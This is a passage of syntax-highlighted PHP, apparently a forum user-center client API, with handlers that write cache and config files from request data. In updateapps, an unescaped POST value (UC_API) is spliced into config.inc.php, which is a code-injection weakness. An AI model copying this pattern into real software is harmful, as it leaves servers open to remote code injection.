&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//note 同步登出 API 接口</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'P3P: CP=&quot;CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR&quot;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; _setcookie<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Example_auth'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">86400</span> <span style="color: #339933;">*</span> <span style="color: #cc66cc;">365</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> updatepw<span style="color: #009900;">&#40;</span><span style="color: #000088;">$get</span><span style="color: #339933;">,</span> <span style="color: #000088;">$post</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>API_UPDATEPW<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_FORBIDDEN<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$username</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$get</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'username'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$password</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$get</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'password'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_SUCCEED<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> updatebadwords<span style="color: #009900;">&#40;</span><span style="color: #000088;">$get</span><span style="color: #339933;">,</span> <span style="color: #000088;">$post</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>API_UPDATEBADWORDS<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_FORBIDDEN<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$cachefile</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">appdir</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'./uc_client/data/cache/badwords.php'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$fp</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fopen"><span style="color: #990000;">fopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cachefile</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'w'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$data</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/is_array"><span style="color: #990000;">is_array</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$post</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$post</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$k</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$v</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$data</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'findpattern'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$k</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$v</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'findpattern'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$data</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'replace'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$k</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$v</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'replacement'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$s</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;?php<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$s</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">'$_CACHE[\'badwords\'] = '</span><span style="color: #339933;">.</span><a href="http://www.php.net/var_export"><span style="color: #990000;">var_export</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$data</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">TRUE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #000088;">$s</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fclose"><span style="color: #990000;">fclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_SUCCEED<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> updatehosts<span style="color: #009900;">&#40;</span><span style="color: #000088;">$get</span><span style="color: #339933;">,</span> <span style="color: #000088;">$post</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>API_UPDATEHOSTS<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_FORBIDDEN<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$cachefile</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">appdir</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'./uc_client/data/cache/hosts.php'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$fp</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fopen"><span style="color: #990000;">fopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cachefile</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'w'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$s</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;?php<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$s</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">'$_CACHE[\'hosts\'] = '</span><span style="color: #339933;">.</span><a href="http://www.php.net/var_export"><span style="color: #990000;">var_export</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$post</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">TRUE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #000088;">$s</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fclose"><span style="color: #990000;">fclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_SUCCEED<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> updateapps<span style="color: #009900;">&#40;</span><span style="color: #000088;">$get</span><span style="color: #339933;">,</span> <span style="color: #000088;">$post</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>API_UPDATEAPPS<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_FORBIDDEN<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$UC_API</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$post</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'UC_API'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//note 写 app 缓存文件</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$cachefile</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">appdir</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'./uc_client/data/cache/apps.php'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$fp</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fopen"><span style="color: #990000;">fopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cachefile</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'w'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$s</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;?php<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$s</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">'$_CACHE[\'apps\'] = '</span><span style="color: #339933;">.</span><a href="http://www.php.net/var_export"><span style="color: #990000;">var_export</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$post</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">TRUE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #000088;">$s</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fclose"><span style="color: #990000;">fclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//note 写配置文件</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/is_writeable"><span style="color: #990000;">is_writeable</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">appdir</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'./config.inc.php'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$configfile</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/trim"><span style="color: #990000;">trim</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/file_get_contents"><span style="color: #990000;">file_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">appdir</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'./config.inc.php'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$configfile</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$configfile</span><span style="color: #339933;">,</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'?&gt;'</span> ? <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$configfile</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$configfile</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$configfile</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/preg_replace"><span style="color: #990000;">preg_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/define\('UC_API',\s*'.*?'\);/i&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;define('UC_API', '<span style="color: #006699; font-weight: bold;">$UC_API</span>');&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$configfile</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/fopen"><span style="color: #990000;">fopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">appdir</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'./config.inc.php'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'w'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #339933;">@</span><a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <a href="http://www.php.net/trim"><span style="color: #990000;">trim</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$configfile</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #339933;">@</span><a href="http://www.php.net/fclose"><span style="color: #990000;">fclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_SUCCEED<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> updateclient<span style="color: #009900;">&#40;</span><span style="color: #000088;">$get</span><span style="color: #339933;">,</span> <span style="color: #000088;">$post</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>API_UPDATECLIENT<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_FORBIDDEN<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$cachefile</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">appdir</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'./uc_client/data/cache/settings.php'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$fp</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fopen"><span style="color: #990000;">fopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cachefile</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'w'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$s</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;?php<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$s</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">'$_CACHE[\'settings\'] = '</span><span style="color: #339933;">.</span><a href="http://www.php.net/var_export"><span style="color: #990000;">var_export</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$post</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">TRUE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #000088;">$s</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fclose"><span style="color: #990000;">fclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_SUCCEED<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> updatecredit<span style="color: #009900;">&#40;</span><span style="color: #000088;">$get</span><span style="color: #339933;">,</span> <span style="color: #000088;">$post</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>API_UPDATECREDIT<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_FORBIDDEN<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$credit</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$get</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'credit'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$amount</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$get</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'amount'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$uid</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$get</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'uid'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_SUCCEED<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> getcredit<span style="color: #009900;">&#40;</span><span style="color: #000088;">$get</span><span style="color: #339933;">,</span> <span style="color: #000088;">$post</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>API_GETCREDIT<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_FORBIDDEN<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> getcreditsettings<span style="color: #009900;">&#40;</span><span style="color: #000088;">$get</span><span style="color: #339933;">,</span> <span style="color: #000088;">$post</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>API_GETCREDITSETTINGS<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_FORBIDDEN<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$credits</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span>_serialize<span style="color: #009900;">&#40;</span><span style="color: #000088;">$credits</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> updatecreditsettings<span style="color: #009900;">&#40;</span><span style="color: #000088;">$get</span><span style="color: #339933;">,</span> <span style="color: #000088;">$post</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>API_UPDATECREDITSETTINGS<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_FORBIDDEN<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_SUCCEED<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #666666; font-style: italic;">//note 使用该函数前需要 require_once $this-&gt;appdir.'./config.inc.php';</span><br />
<span style="color: #000000; font-weight: bold;">function</span> _setcookie<span style="color: #009900;">&#40;</span><span style="color: #000088;">$var</span><span style="color: #339933;">,</span> <span style="color: #000088;">$value</span><span style="color: #339933;">,</span> <span style="color: #000088;">$life</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$prefix</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$cookiepre</span><span style="color: #339933;">,</span> <span style="color: #000088;">$cookiedomain</span><span style="color: #339933;">,</span> <span style="color: #000088;">$cookiepath</span><span style="color: #339933;">,</span> <span style="color: #000088;">$timestamp</span><span style="color: #339933;">,</span> <span style="color: #000088;">$_SERVER</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/setcookie"><span style="color: #990000;">setcookie</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$prefix</span> ? <span style="color: #000088;">$cookiepre</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #000088;">$var</span><span style="color: #339933;">,</span> <span style="color: #000088;">$value</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$life</span> ? <span style="color: #000088;">$timestamp</span> <span style="color: #339933;">+</span> <span style="color: #000088;">$life</span> <span style="color: #339933;">:</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$cookiepath</span><span style="color: #339933;">,</span><br />
